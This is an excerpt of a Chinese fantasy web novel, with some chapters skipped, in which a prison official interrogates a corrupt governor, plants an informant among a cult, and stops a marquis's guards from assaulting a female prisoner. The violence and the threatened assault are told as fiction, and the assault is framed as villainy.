“等世子与璇玉郡主成了亲,怕是没空出来与我等玩乐喽,家中有了母老虎,肯定看得紧呐哈哈!” “她敢!” 殷滔一瞪眼睛,道:“郡主算个屁!当个玩物娶进来养着就是,敢管我,打断她的腿!” “殿下豪气!来,我敬殿下一杯!” “世子果然是真男人哈哈!” 屋内一阵喧哗大起,众人推杯换盏。 一名衙内奇怪的道:“世子手上的扳指呢,怎么没带出来,平常你可不离身的。” 殷滔闻言大笑道: “押在一个傻子手里了!三年前我随口一说的赌注,那家伙居然当真,三千两的小钱儿而已,他若跪下求我,赏给他也无所谓,那傻子给脸不要脸,在学宫里追着我要债,他这辈子一个铜板也别想从我手里要走!” 询问扳指的衙内道:“那扳指是御赐之物!如果对方拿不到银子,卖掉了可就遭了。” “就等着他卖呢,哈哈!”殷滔得意道:“敢卖掉皇帝御赐的扳指,便是死罪!我等着看他怎么掉脑袋!哈哈哈!跟我斗,他还嫩了点,喝酒!” 众人举杯,正喝得高兴,大门突然被踹开,怒气冲冲闯进一人。 “大胆!敢踢本少爷的门,你活腻了!” 骂完后,殷滔这才看清来人的模样,瞬间酒醒,慌忙起身道:“父王!您怎么来了” 来者正是誉王,殷天涯。 殷天涯二话不说甩起巴掌,啪一声脆响,将殷滔扇得原地转了三圈。 “你个畜生!除了惹祸你还会点什么!”殷天涯怒不可赦,气得脸色铁青。 “我、我没惹祸啊?”殷滔刚要辩解,又挨了一个大嘴巴,打得他蒙头转向。 “滚回王府!准备马上成亲!” 殷天涯指着殷滔的鼻子骂道:“你做的好事,你自己兜着!成亲之前敢走出王府半步,打断你的腿!” 殷天涯一摆手,立刻有王府护卫闯了进来,架着殷滔离开青楼。 直至回到誉王府,殷滔也没想明白自己犯了什么错,青楼喝顿酒而已,平白挨了顿打不说,还被禁足。 殷滔想不通自己闯了什么祸,但云缺此刻已经知道自己惹了什么祸了。 督捕司的总捕头陈洲骅来天牢办事,亲口跟云缺说起上午发生在皇城的大事。 “邵武国来的璇玉郡主,今天竟偷偷跑出使署,结果被人扒成白羊,绑在马车上游了街!” 陈洲骅愁眉苦脸的道:“那郡主是来大晋联姻的,陛下十分重视此事,这下不仅璇玉郡主颜面尽失没脸见人,连邵武国也跟着丢人,我们刑部特意派过去十人盯着使署,却出了这档子事,哎,我又得挨骂。” 刑部下设五司,陈洲骅是督捕司的头儿,云缺是提牢司的头儿,两人同级,陈洲骅天天忙得不可开交,趁着来办事在天牢这边歇一会儿,顺便跟云缺说起这件奇闻。 结果听闻后,云缺的脸色也随之一变。 云缺可没想到上午那个想要暗算自己的绿裙女子,居然会是邵武国的郡主! 前两天侍郎大人说起过这件事,云缺当时也在场,不过他管辖天牢,与郡主联姻的事儿不挨边,当时也就一听,根本没在意。 云缺试探着问道: “不知今天城内发生过几起游街事件,还有没有别的女人被绑在马车上游了街?” “一起还不够哇!这种事我来刑部十几年,今天才见识到。”陈洲骅道。 这下云缺彻底断定,那绿裙女子就是璇玉郡主无疑。 把邵武国郡主绑在马车上游街,还是一件衣服都没有的那种,这种事没准都能挑起邵武国与晋国之间的大战。 这下惹祸了…… 云缺暗道倒霉,他与璇玉郡主素未谋面,无冤无仇,哪里想到对方会特意来学宫找自己的麻烦。 直到现在,云缺也想不通为何璇玉郡主要算计自己。 “不知那罪魁祸首,抓到没有。”云缺问了句。 “抓到了,要不然我们督捕司也不能这么消停。”陈洲骅道。 “抓到了?”云缺更觉得奇怪,小心的问道:“到底是谁,这么大胆。” “嗐!还能有谁,誉王世子呗!”陈洲骅叹气道。 “殷滔?”云缺听闻后,终于恍然大悟。 原来那璇玉郡主错把自己,误认为殷滔了,这才有了之前一系列的怪事。 邵武国的璇玉郡主,与大晋国的誉王世子联姻,是来嫁给殷滔的,璇玉郡主不认得殷滔,但知道殷滔习惯带着墨玉戒指,又是学宫学子,以为殷滔在学宫里,而当时云缺从学宫出去,正巧带着殷滔的墨玉扳指,被误以为誉王世子从而带上了马车。 想通了来龙去脉,云缺抽了抽嘴角,心说世子殿下对不住了,这口黑锅,你还是自己背吧。 “现在情况如何了,两家还联姻吗。”云缺问道。 “当然得联姻啊!誉王府今天就办喜事,先把璇玉郡主弄进王府,要是让那郡主回到邵武国,麻烦就大了啊!” 陈洲骅说完,朝云缺挤眉弄眼的道:“云大人太子伴读当得如何,太子这棵大树,不知多少人想要抱都抱不上啊,今后一旦太子登基,你这位伴读必定水涨船高,到时候可别忘了咱们刑部这些老伙计啊。” “怎么能忘呢!咱们都是兄弟,有福同享有难同当。”云缺客套道。 陈洲骅听得大为高兴,道:“我早看得出云大人是个讲义气的!大家都是武夫,喜欢直来直往!今后有事千万别跟我客气,要不然老哥可不高兴!” “一定一定,陈大人若没什么事,晚上不如去小酌几杯。”云缺邀请道。 “你一提酒我都馋得慌,最近是不行了,我现在整天忙得脚打后脑勺,又是皇宫命案,又是追查红莲教,还得准备迎接草原别吉,整个天祈城的麻烦事都堆在我身上,这个月连家里的婆娘都没见到几面!过阵子估计儿子都要不认得我了!” 陈洲骅苦着脸抱怨道:“哎,还是你们提牢司好哇,不像我这督捕司,整天在外面瞎忙。” “能者多劳嘛,陈大人是刑部的定海神针,缺了你,刑部都不转了。”云缺道。 “嘿嘿,知我者,云大人也!”陈洲骅起身告辞:“我得忙去了,改天再来找你喝酒啊!” 陈洲骅走后,云缺放心下来。 璇玉郡主嫁进王府,这辈子估计出不来了,自然找不到自己。 至于殷滔将来会不会找自己的麻烦,云缺反而不在乎。 别看云缺现在官拜五品,又是太子伴读,他真正在乎的根本不是地位,而是那点俸禄。 至始至终,云缺都是光脚的,从来不怕穿鞋的。 哪怕跟大晋皇朝闹崩,大不了躲进学宫不出来,算什么大事儿。 云缺不在关注此事,出了趟城。 来到城外之前被劫杀的茶摊处。 茶摊早已变得破破烂烂,四周还残留着恶战过的痕迹。 在周围找了一大圈,没有尸体。 “奇怪,被狼叼走了?” 云缺本打算给萍山君常威和瞎子收尸,毕竟并肩而战过,结果一具尸骨也没发现。 时间过了太久,已经大半个月,遗留在野外的尸体很可能被野兽甚至妖物吞食,云缺只好返回皇城。 黄昏时分。 照例给穹音带去晚饭。 云缺将今天璇玉郡主被游街的事讲述了一番,但没说自己干的。 穹音显然知道璇玉郡主是邵武国御王朱寿之女,听到消息后,两只小手狠狠的捏着,眼神冷得骇人。 御王朱寿,就是害得穹家一门家破人亡的罪魁祸首! 由于天牢里没有阳光暗无天日,两棵梅树上已经有花瓣开始凋零。 “傲雪寒梅不惧严寒,却难抗黑暗,梅花,不该盛放在天牢里,应该生长在天祈学宫那等光明之地。” 云缺望向阿梅,感慨道:“穹舞是你妹妹吧,她在学宫生活得不错,而你只能在天牢等死,姐妹俩容貌一样,命运却天差地别,老天爷真会开玩笑。” 阿梅没说话,轻轻拾起脚边的一片花瓣,托在掌心,看得出神,柔弱的身躯亦如寒风中的梅花。 “有机会的话,我帮你逃出天牢,送你去学宫。”云缺语气凝重,目光中充满真诚。 听闻这句话,阿梅豁然仰起俏脸,目光中闪烁着不可置信又充满期待的光芒,这一刻,整个人仿佛都活了过来,不像之前那么死气沉沉。 云缺默默注视着眼前的美人,嘴角渐渐忍不住的勾起,呵呵笑道: “逗你玩呢!我哪有本事把你弄进学宫,你这种杀人狂魔还是在天牢里住一辈子为好,真要到了学宫,还不得弄死一片。” 说完扬长而去。 阿梅愣怔了良久,眼圈渐渐发红,抿起唇,忍了又忍,眼泪还是不争气的落了下来。 “坏蛋!!!” 愤怒又无助的骂声在天牢里传出很远,很远…… 天祈学宫。 云缺在晚上去了趟演武殿,结果今天没人授课,演武殿外全是互相切磋的学子。 于是转而去了藏书楼,找出赤炎拳法,仔细看了一个时辰,将其全部记下,等白天到刑部的时候在慢慢揣摩。 回到西楼,墨老正坐在一楼大厅里品茶。 “炼尸术,修炼得如何了。”墨老无精打采的询问。 “有些地方不太明白。” 云缺将不懂的地方说了出来,墨老则不厌其烦的一一指点,直到半夜才结束。 “过两天给你找一具简单点的炼尸,先尝试控制,你的修炼天赋不错,用心的话,应该能学得会这道法门。” 说罢,墨老脚不沾地的飘上三楼。 云缺想了想,始终无法理解什么叫做简单点的炼尸。 尸体还有难易之分? 疑惑归疑惑,云缺对炼尸术的确上了心。 刑部和学宫两头跑,实在太折腾了,云缺现在就想弄个分身,替自己去混一份俸禄。 第二天。 天牢押入一名新囚犯。 百玉城的城守,负易。 云缺摩拳擦掌,亲自提审,他要好好审一审这个当初下令封城三天的狗官。 第115章 监正四弟子 提审负易的过程,并不顺利。 任凭如何审问,负易一口咬定当时百玉城有山匪作乱,封城三日只为了剿匪。 还将他与城内其他文官一并救助百姓的事当做说辞,认为自己没有功劳也有苦劳,是被人陷害才落到如此田地。 负易言辞凿凿,理直气壮,见提刑官年轻,更是底气十足,觉得以自己的老练肯定能拿捏住对方。 他不认得云缺,当时百玉城大乱,云缺始终在暗中行动,根本没露面。 见负易嘴硬,云缺面带微笑的道: “百玉城在整个大晋都算安稳之地,多年来罕有妖邪作乱,可见你治理得甚好。” 负易急忙道:“大人明鉴!下官这些年兢兢业业,为百姓四处奔波,每月至少巡视周边村镇十余次,这才能让百姓们安居乐业,下官的忠心天地可鉴!下官对陛下忠心耿耿岂能勾结什么红莲教的妖人!” 云缺摇了摇头,道: “负大人这番话里面,水分恐怕不少吧,本官听说百玉城附近有座青狐山,山上有一位猎妖人,常年以猎妖为生,之所以知远县地界妖邪极少,是因为那猎妖人的存在。” 负易闻言立刻辩解道: “大人切莫被一些流言蜚语蒙骗!那猎妖人只是个猎户而已,哪有什么能耐,他偶然捡到几具妖物尸体拿到镇上售卖,被人误以为猎妖的高手,其实就是个沽名钓誉之辈,不值一提。” “是么,果然人言可畏啊,看来那猎妖人的名声,是借了你负大人的光喽。”云缺似笑非笑的道。 “可以这么说,毕竟我们百玉城守军经常在周边猎妖,斩杀的妖物尸体有时候来不及清理,被一些小人捡了去,大做文章。”负易道。 “既然负大人到了,正好,那猎妖人也在刑部,不如你们当堂对质一番,看看知远县的妖邪到底是谁清理的,如何呢。”云缺道。 负易的脸色变了变,依旧故作镇定的道: “没问题!下官身正不怕影子斜,大人将那骗子带上来好了!” 云缺微笑着道:“不用麻烦,青狐山的猎妖人,就在你面前。” 负易皱起眉,狐疑的四下看了看,除了天牢狱卒之外,没外人呐。 “他在哪呢?”负易疑惑道。 “我就是!” 云缺脸色一沉,道:“负易,你揽功劳的本领不赖嘛,本官在知远县猎妖十五年,结果功劳全被你一个人收走,你的脸可够大的!” 负易大惊失色,他万万没想到,青狐山的猎妖人居然成了天牢提刑官! 身为百玉城城守,负易自然听过猎妖人的名号,只是没见过,反正有人猎妖,他乐得清闲,附近没了妖邪作祟,他这位城守也算治理有方。 负易一时说不出话来,满脸震惊。 “不提猎妖之事,咱们算算旧账,看你这位城守这些年都干过什么好事。” 云缺冷笑着继续道:“老树商行私下里打压各处行商走贩,之所以能独占百玉城,背后靠山就是你,商行的好处你没少得!百玉城城南的三千亩良田,你以地底有玉石矿为由而独占,坑了上百户农人!乌家寨养妖为患以活人喂食,你一样睁一只眼闭一只眼!负大人,你真是忠心耿耿的好官呐!” 负易听完,只觉得眼前发黑,心头发沉。 他这点亏心事,全让人家抖落了出来。 其实云缺并不知道负易的所作所为,但身为校尉的梅钱知道啊,泡澡的时候,梅钱没少骂负易是个贪心的白眼狼。 云缺目光转冷,沉声道: “贪墨了这么多,你还不知足,居然勾结红莲教的妖人,想要置郡主于死地,我劝你将红莲教的消息说出来,也许能死个痛快,否则刑部的大刑,你会尝个遍!” 负易一咬牙,吼道:“我没勾结红莲教!贪墨之事我认了,但红莲教与我无关!” 负易很清楚自己的罪行。 他贪墨多年,被查出来肯定丢官罢职,但未必一定会死罪,毕竟他是七品武者,朝廷对修行者治罪,往往与普通人不同,大多会从轻发落。 一旦承认与红莲教有关,那他负易必死无疑,一点转机都没有。 “好,大刑伺候!” 云缺一声吩咐,负易被带了下去,开始用刑。 天牢里的刑罚,千门百类,即便七品武夫也够喝一壶的。 半天后,犁术前来禀报。 “大人,负易那家伙不肯招供,普通大刑对他用处不大,七品武者,打不动啊,除非同为七品的高手用刑,才有效果。” 云缺料到如此结果,沉吟不语。 犁术出主意道: “其实对付武夫有个最简单的法子,不给饭吃,饿他十天半月,别说七品,六品武夫也受不了!” 云缺点点头,没说话。 对付负易这种家伙,用什么残忍的手段都不算过分,可负易若是宁死不承认与红莲教有关的话,就算饿死了,也换不到丝毫线索。 云缺对负易的死活不在乎,主要目的是挖出红莲教的蛛丝马迹。 犁术见云缺脸色不大好,再次出主意道:“还有个办法让他开口,找司天监的高手帮忙,以法术审讯!” “办法不错,但刑部,调不动司天监呐。”云缺道。 “别的案子肯定调不动,红莲教一案关系重大,又涉及军弩重器,只要咱们去求助,司天监也无法推脱。”犁术道。 “那便麻烦犁大人亲自走一趟司天监。”云缺道。 犁术满口答应,立刻赶往司天监。 回来的时候,犁术带来了一个人。 这人穿着便服,不到三十岁的年纪,容貌端正清秀,留着短发,面无表情。 云缺看了好几眼,愣没看出对方是男是女。 “这位是司天监的花大人,花不谢,统管皇城法阵,是监正大人的四弟子,监正得知刑部求助,特派遣花大人前来协助办案。” 犁术介绍完,偷偷朝云缺比量个六的手势,示意花不谢是六品高手。 “多谢花大人前来相助,一路劳累,先喝杯茶歇歇。”云缺客气道。 司天监地位特殊,对方即便没有官职在身,也比提刑官的地位要高,尤其还是监正的弟子,自然要以礼相待。 “不必了,人呢。” 花不谢语气平淡,听不出情绪波动,声音低沉,听起来又像男声又像女声。 云缺一度怀疑这位是个阴阳人,或者是个太监。 既然人家直入主题,云缺当然乐意,将其带到关押负易的地方。 负易被关在天牢最深处,关押重刑犯的区域。 这里的犯人都有修为在身,牢门均为特殊炼制,并且日夜有狱卒把守,与关押石头和阿梅的牢房截然不同。 负易被五花大绑,用铁锁牢牢困住,浑身是血,以云缺的眼力自然看得出没伤到筋骨,大刑也仅仅是皮外伤而已。 见到云缺出现,负易一句话不说,摆出一副被冤枉的硬气架势。 打开牢门,花不谢走到负易面前,仍旧面无表情,但周身开始起伏一种奇特的气息波动。 云缺立刻察觉到对方的气息,比七品修士要强大了太多。 花不谢并起双指,点向负易的眉心,口中轻喝道: “思竭其用,知无不言!” 玄奥的气息席卷在整个牢房之内,如一股清风吹拂,让身处此地之人,有一种对人倾述的渴望,想要将自己的秘密全都说出来。 知无不言,是儒家的高深法术,其用处是让对方开口说出秘密。 这种法术,其实刑部是眼馋的。 有很多硬骨头,大刑都不招供,若能学会如此法术,那么审讯将变得简单。 可惜的是,刑部一水儿的武夫,只会动刀剑,根本不会法术。 负易的表情变得挣扎起来,十分痛苦,最后眼泪鼻涕长流,目光变得无神,哽咽着说道: “我、我收了红莲教五万两的银子,我只替他们办过几次小事!红莲教要杀郡主,不关我的事啊!” 云缺目光一沉,追问道:“封城三天,是不是红莲教让你做的!” 负易变得愈发痛苦,五官挪移,在抗衡着法术,但很快又开始流泪,道: “是!他们给了更多好处,我、我不敢忤逆他们!红莲教实力太强,他们、他们……” 负易的嘴角开始流血,声音变得断断续续,最后彻底消失。 云缺正等着听关键消息呢,结果一瞧,负易两眼翻白,已经昏厥过去。 花不谢随之切断法术,额头渗出细汗,看得出消耗不轻。 “此术伤及神魂,接连动用的话,他会死。” 花不谢此言一出,云缺大为遗憾。 关于红莲教的关键消息,看来得过阵子才能得知了。 通过这次审讯,云缺对六品儒家修士有了一番了解。 很强! 七品武夫在六品儒修面前,很容易被玩死! 儒家修士以文气作为法力,使用的招式类似于言出法随,当时李玄驹施展的画地为牢,威能其实已经很强了,只不过红莲教主修为更深,才轻易破开。 云缺猜测着儒家修士是不是非得开口才能施法,如果是的话,那以后得去演武殿藏书楼里找一找,看看有没有封口刀法之类的绝学。 对上儒修,先让对方闭嘴,要不然没个打。 既然负易昏厥,今天的审讯只能到此为止,云缺正要送花不谢出去,后方昏暗的天牢深处突然传来一阵古怪的笑声。 “圣人之力拿来审讯囚犯,简直是一群酒囊饭袋!酒囊饭袋哈哈哈哈!” 声音来自重刑犯区域最深处的一间牢房,黑漆漆看不清里面是什么人。 云缺刚想问问犁术里面关的是什么人,对提刑官居然也敢大呼小叫,结果发现犁术的脸色很古怪,一个劲示意云缺赶紧走。 第116章 好大的狗胆 送走了花不谢之后,云缺询问起犁术刚才骂酒囊饭袋的家伙是什么人。 “姜熵!” 犁术道出这个名字后,声音都在发沉。 云缺听得有些耳熟,略一回忆终于想起来了。 姜熵,前朝大燕国龙图阁大学士! 大燕王朝百官之首! 姜熵此人的名声很大,堪称大燕王朝的中流砥柱,自从燕国覆灭便不知去向,原来被关在了天牢里。 云缺有点意外。 前朝大燕的很多官员,其实都在晋国任职,晋皇殷子受这一点做得很有心机,从未通缉过所谓的前朝余孽,当今朝堂上的百官,至少有一半都在前朝大燕任职,改朝换代后,非但没被定罪,反而有不少人还加官进爵。 殷子受由此博得个广纳贤才的美誉,被称之为明君。 然而云缺很清楚一点。 殷子受的根基并不牢固,打进天祈城若大杀四方,晋国绝不会发展得如此迅速,天下不知要乱到什么时候。 殷子受等同于将前朝的皇位与群臣,一并收为己用,这才让晋国迅速安稳。 皇帝的手段,云缺能窥知一二。 但云缺想不通,为何其他人都能被晋皇重用,唯独大学士姜熵被关在天牢。 姜熵的能力,绝非旁人可比,有此人辅佐,晋国将更加稳固。 “难道姜熵不肯归降?”云缺问道。 “不清楚,有关姜熵的事,没人知道也没有卷宗,听说晋国立国之初就被关在这里。” 犁术忌惮的道:“若没有特别的事,大人最好别去姜熵那边,那老家伙极其危险,而且早就疯了,这些年不少狱卒死于他手。” 云缺点点头,记下了此事。 姜熵的处境与自己无关,云缺除了感慨一翻之外,没打算去接触。 现在只等着负易恢复过来,再找花不谢来审讯。 云缺铁了心要从负易嘴里撬出红莲教的线索。 至于抓来的那个教徒,则无需动用法术审讯,对方地位不高,知道的有限,用来当个鱼饵即可。 这两天石头的进展不错,时不时的与对方嘀嘀咕咕。 云缺见差不多了,借口提审,将石头带了出来。 并告知后续计划,将一粒迷心散制成的丹丸与一粒普通糖丸交给了石头。 “给他丹药的时候说是你珍藏的假死丹,肉疼的表情拿捏好,别让他起疑。”云缺道。 “大人放心,这么点小事我肯定办得滴水不漏!”石头心领神会的道。 随后云缺拿出两张画像。 其中一个是八山城的胡子,另一个是火烛使者宏河。 “记住这两个人的模样,只要得知其中一人的下落立刻回来禀报,或者得到你觉得有用的线索,也可找机会溜回来报信儿。” 云缺敲了敲面前的桌子,道:“若线索有用,一次一百两,今后刑部,你可以当成自己的家了。” 一百两不算少,云缺可舍不得自己掏腰包,这种公事,自然刑部出钱。 石头赌咒发誓肯定完成任务,随后云缺命狱卒给石头制造些看着严重实则不伤筋骨的伤势,将其从新押了回去。 牢门外,云缺躲在暗处盯着两人。 石头龇牙咧嘴,回去后立刻装模作样的大骂狱卒。 “一群天杀的狗东西,有种打死老子!” 石头直抽冷气,皮外伤也疼啊,看得红莲教那教徒直皱眉,有种兔死狐悲之感。 “这日子没头了,早晚得死在这里,不行,得想个办法出去。”石头嘀咕道。 “哎,认命吧兄弟,除非变成尸体,否则咱们这辈子出不去了。”年轻教徒叹气道。 “尸体……你倒是提醒我了!” 石头趁机接话道:“进来的时候,我藏了两粒假死丹,只要吃下去,心跳呼吸都会暂时消失,一夜之后即可恢复过来,天牢狱卒肯定当我们死了,尸体会运出城外扔在乱葬岗,如此一来,我们不就能逃出生天了吗!” “你有假死丹?”年轻教徒惊讶起来。 “当然!我花了大价钱买的,不过这东西很危险,容易吃下后当真死掉,能不能恢复过来,全看运气,我吃一粒,剩下的给你。” 石头将迷心散制成的丹丸塞给对方,自己一口吞下另一粒糖丸,神态狰狞道:“拼了!反正都是个死,大不了早死几天!若能活过来,算我命大!” 年轻教徒见石头吞下丹药,他犹豫了一下,也将丹丸吃了下去,没过多久便沉沉睡去,失去知觉。 云缺见一切就绪,命人将石头与那教徒秘密运走,拉到城外乱葬岗。 至此,一颗钉子被钉在了红莲教内部。 石头能否传回消息,只能看他的运气了。 处理完这件事之后,云缺清闲下来,在自己的房间运转气机修炼。 武夫也需要打坐,以气机不断洗练肉身,达到愈发强大的目的。 但这个过程无比缓慢,没有外力协助,打坐一年也见不到多少进展。 “该去东宫洗澡了。” 云缺默默想着,太子这张长期饭票可不能浪费。 正打算吃过午饭去东宫转一圈,一名狱卒忽然慌慌张张的来报。 “不好了大人!天牢出事了!” 云缺一皱眉,奇怪道:“天牢能出什么事,有人逃狱了,还是有囚犯死了?” “没人逃狱,也没人死,有位侯爷到了天牢,非得要人!犁大人正在周旋,让我来请大人赶紧过去。”狱卒急急的道。 云缺听得更加奇怪,起身道: “哪位侯爷来天牢,要什么人?” “是那位锻纸侯!专门来找阿梅的!”狱卒道。 闻听此言,云缺脸色一沉。 天牢内。 犁术正在满脸苦涩的劝说。 “侯爷您息怒,天牢囚犯都是罪民,关在这里肯定没有好果子吃,您老人家无需亲自过来,只要您开口,下官帮您出气,饿她三天!” “饿三天?三天够么!她把我害成了什么模样!” 锻纸侯琴寿四十多岁,眼窝深陷,面目阴鸷,恶狠狠的道:“三年了,本侯在床上躺了快三年才恢复过来!你知不知道太监是个什么滋味?用不用本侯送你去净事房感受一番?少跟我废话,开门!” 犁术还想拖延一会儿,但锻纸侯不是自己来的,带着两名壮硕的护卫,两人均为七品武者,散发的强烈杀气令犁术不寒而栗。 犁术点头哈腰的找来钥匙,打开了阿梅的牢门。 “这里没你的事儿了,滚远点!放心,不会弄死她就是了。” 琴寿大步迈进牢房,两名护卫紧随其后。 犁术没办法,人家是侯爷,他哪里惹得起,只好苦着脸退下。 阿梅坐在木床上,冷眼瞪着琴寿,紧紧抿着唇。 “嘿嘿嘿,穹音,没想到还能见到我这个夫君吧!你以为躲进天牢里,本侯就拿你没办法了是么,想得美!” 琴寿吩咐道:“把她抓起来!” 两名护卫一左一右,拎小鸡似的将阿梅提了起来,任凭阿梅如何挣扎,两人好似铁塔般纹丝不动。 “你够狠的,让我断子绝孙,没关系,本侯玩不成你,我能让别人玩你!” 琴寿掐住穹音的下颏,狞声道:“今天夫君特意给你找了两个七品武夫,他们的气力无穷无尽,我倒要看看你这小身子,能不能经得住两个武夫的折腾!” “你敢!”阿梅倔强的怒吼道。 啪一声! 琴寿一巴掌扇在阿梅脸上,阿梅苍白的俏脸立刻多出五个手指印。 “你算什么东西!本侯有什么不敢!你躲在天牢里一样是我买来的玩物!本侯今天就是要玩死你!” 琴寿怒冲冲的往木床上一坐,吩咐道:“开始吧,她是你们的了!把你们七品武夫的气力全拿出来,用不着怜香惜玉,出了人命,算本侯的!” 两名护卫立刻狞笑起来,一人伸出一只手,开始撕扯阿梅的囚服。 阿梅知道今天自己完了,一生的孤傲将烟消云散,落在两名七品武夫手里,她没有任何反抗的机会,只能眼睁睁等着被人凌辱至死。 一生的凄苦,泼天的仇恨,无数个日夜的刻苦修行,直至今日到了尽头,她很清楚,今天就算自己侥幸还留着一口气,自己也不会再苟活于世,肯定会自行了断。 她很想大骂老天瞎眼,为什么如此不公,将无数苦难加在穹家,加在她们姐妹俩的身上。 她很想大骂两国帝王,堂堂一国之君却容不下一个忠心的穹家,将穹家人当做棋子随意舍弃。 她很想再看一眼蓝天,看一眼绿树,看一眼盛放的梅花,但落到眼底的,则是满地花瓣。 梅树,已经凋零。 犹如灵狐般绝美的女子,此刻心如死灰。 哐当!! 就在两名护卫即将扯开阿梅的囚服之际,牢门被人一脚踹开。 琴寿被吓了一跳,甩脸看去,只见一名身着官袍,神色冷峻的年轻人阔步走了进来,身后跟着犁术与一众狱卒。 阿梅失去光泽的眼眸,在看到云缺后,忽然闪烁起一抹希翼。 死灰般的心儿,多了一丝火苗。 阿梅紧咬着银牙,她虽然恨云缺欺负她多次,但她知道云缺至少不会害她。 琴寿当先怒道: “大胆!让你们滚远点,还过来做什么!都滚出去!快滚!” 犁术不敢招惹,陪着笑,躲在云缺身后。 云缺淡淡的扫了眼几人,冷声道: “天牢重地,你等居然敢在此放肆,视大晋律法如无物,好大的狗胆!” 第118章 我会掀棋盘 轻而易举放倒了两名七品武者后,云缺吩咐手下将两人绑起来,押在天牢。 并命人通知秋审司,将两人记录在案,立刻审讯定罪。 秋审司是刑部五司之一,与提牢司地位相当,大家都是同僚,这件案子自然得好好定一定。 除去擅闯天牢凌辱囚犯,还袭击提刑官,那两名侯府护卫这辈子想要离开天牢,怕是难了。 别的案子,都有通融的机会,可在刑部天牢里犯案,等同于蟊贼去捕头家里行窃,被抓住肯定没好儿。 外面的三十大板已经打完。 琴寿被打得直翻白眼,口吐白沫,身后全是血迹。 这位刚养好前边伤势的锻纸侯,后边再遭重创,这下不知又得躺多久。 “你、你、你给我等着!” 琴寿气息虚弱的指着云缺,眼中全是恨意,他恨不得扒了云缺的皮,以解心头之恨。 云缺微笑道:“下官此举,也是无奈而为之,毕竟大晋律法是陛下的威严所在,不能因为侯爷一个人,而坏了陛下的威压吧,来人呐,恭送侯爷出狱。” 两名狱卒架起琴寿,往天牢外走去。 “这事没完!没完!”琴寿挣扎着大吼。 “对了,侯爷回府后最好尽快养伤。”云缺好心的提醒道:“明日朝会,刑部会参你一本!” 琴寿被架出天牢后,扔在路边。 等在外面的侯府下人急忙过去搀扶住琴寿,将其抬上马车。 回侯府的路上,琴寿越想越憋火,两条腿到现在都没有知觉,好像被打断了。 “不回府!去皇宫,马上去皇宫!我要面圣!我要去告御状!” 琴寿哀嚎着大吼,车辆转向,直奔皇宫。 天牢。 云缺让狱卒与令史们散去,该干嘛干嘛,并让犁术拟好奏折。 明天朝会,云缺打算亲自进谏。 锻纸侯这事,压是压不住的,不如尽快挑明让皇帝知道。 当着文武群臣,将琴寿在天牢里的霸道行径公之于众,到时候看皇帝还如何给琴寿撑腰。 等狱卒们散去,云缺拎着官服坐在阿梅对面,默默看了对方半晌。 “你怎么不动手?” 云缺很是疑惑的道:“以你七品武者修为,再加上用蛊的手段,对付两个同阶武者问题不大,放倒他们,再胖揍那琴寿一顿出口气多好,只要不弄死他,你应该不会被判罚死罪,反正你这辈子也出不去,干嘛非得等我来动手呢。” 阿梅仰着头,直视着云缺,目光恢复了冷漠,仍旧不肯开口。 见对方不说话,云缺皱眉道:“你该不会有什么特殊癖好,等着被他们得逞吧,我若不来,你自己的身子难道不要了?” 阿梅紧紧咬着银牙,终于开口,声音沙哑而冷傲的道: “你心疼了?” 阿梅此刻的模样,像极了被欺负后,还要装作坚强的大小姐,那份冷傲背后藏着的柔弱,任谁都看得出来。 “是啊,心疼。” 云缺抖了抖手里的官袍,重新穿好道: “我心疼这套官袍!打坏了几十两银子呢,你最近怎么不太对劲呢,我发现你越来越像穹舞了,你妹妹在学宫里就用这种眼神瞪我,跟我欠了她八百两银子似的,不就认错人找她要钱了么,谁知道你们姐妹俩那么像,你拿我的五两银子我不要了还不行么,女人可真记仇啊。” 阿梅下意识的挪开目光,好像心虚般不再与云缺对视。 “等着,我再给你取两套囚衣。” 云缺起身走到门口,回头道:“你还是像以前那样阴邪点的好,像条毒蛇,只吐信子不露牙,现在你像个龇牙咧嘴的小猫,跟个受气的大小姐似的,我不习惯呐。” 云缺走后,阿梅抱着双膝,低垂的目光多一丝内疚。 第120章 你是凶手 得知负易的死讯,云缺十分意外。 昨天临走之前还看过,负易已经清醒,恢复一夜本该好转些才对,怎么一命呜呼? 云缺亲自赶到关押负易的牢房。 看到的,是一具冷冰冰的尸体。 犁术与提牢司十名令史站在一旁,脸色都很难看,没人开口,场面沉闷而压抑。 负易是重犯,关乎着红莲教的线索,一夜而已,人居然死了。 云缺仔细检查一遍尸体。 没有外伤,但眼珠里遍布血丝,不知是昨天的神魂审讯所致,还是另有原因。 “昨晚可有人来过天牢。”云缺沉声问道。 吴鹰上前一步,拱手回道:“卑职昨晚值夜,没有外人来过天牢。” 十名令史,轮流值夜,这是提牢司的规矩,昨晚抡到吴鹰值守天牢。 云缺点点头。 既然吴鹰说了没有外人来,那么负易的死因,应该不是他杀。 “会不会负易知道自己难逃一死,选择自我了断?”犁术猜测道。 “他的罪名尚未确立,他没到绝境,不会选择自尽。”云缺笃定道。 “我看应该是司天监的审讯原因。”另一名老成的令史分析道:“神魂审讯,最为凶险,很容易造成神魂崩裂而亡的下场,负易之死既没有外伤,昨晚又没人来过,应当是他神魂受损,不治而亡。” 犁术吴鹰等人纷纷点头,觉得有道理。 花不谢当时已经说明,此术伤及神魂,很容易死人。 云缺也觉得负易之死,是花不谢那道强横法门的后遗症,而负易昨晚苏醒,则是回光返照。 负易死不死,云缺根本不在乎,只是如此一来,红莲教的线索又断了。 “死的这么痛快,便宜他了。” 云缺说罢吩咐拖走尸体,等回学宫的时候自己带走。 人死了,尸体可有用,还能制作成炼尸呢。 负易是七品武者,墨老出手祭炼一番,便是一具保留八品武者战力的炼尸。 刚要离开此地,忽然深处牢房里传来一阵狂笑。 “一群饭桶!哈哈哈!人被杀了都不知道,你们真是废物啊!哈哈哈哈!” 云缺豁然回头,望向传出嘲笑的牢房。 那是天牢最深的一间牢房,黑漆漆,阴森森,里面关着的,是前朝龙图阁大学士,姜熵! 听到姜熵的嘲笑,云缺皱了皱眉,缓步走向牢房。 犁术大惊,连忙劝道: “大人小心!那老家伙很危险,切勿接近为好。” 云缺摆手示意无妨,顺手拿起墙上的一只火把,来到最深处的牢房门外。 借着火把的光亮,云缺看清了牢房里关押的人。 姜熵很苍老,满头白发,连眉毛都是白的,由于常年不见天日,脸色苍白得骇人。 这位大学士身形魁梧,但囚服破破烂烂,胡子跟头发混杂在一起,邋里邋遢,手脚锁着特制的铁链,看外表十分狼狈。 当年一人之下万人之上的龙图阁大学士,落到如此田地,不免令人唏嘘。 “昨晚,你看到了什么?”云缺平静的问道。 “杀人凶手。” 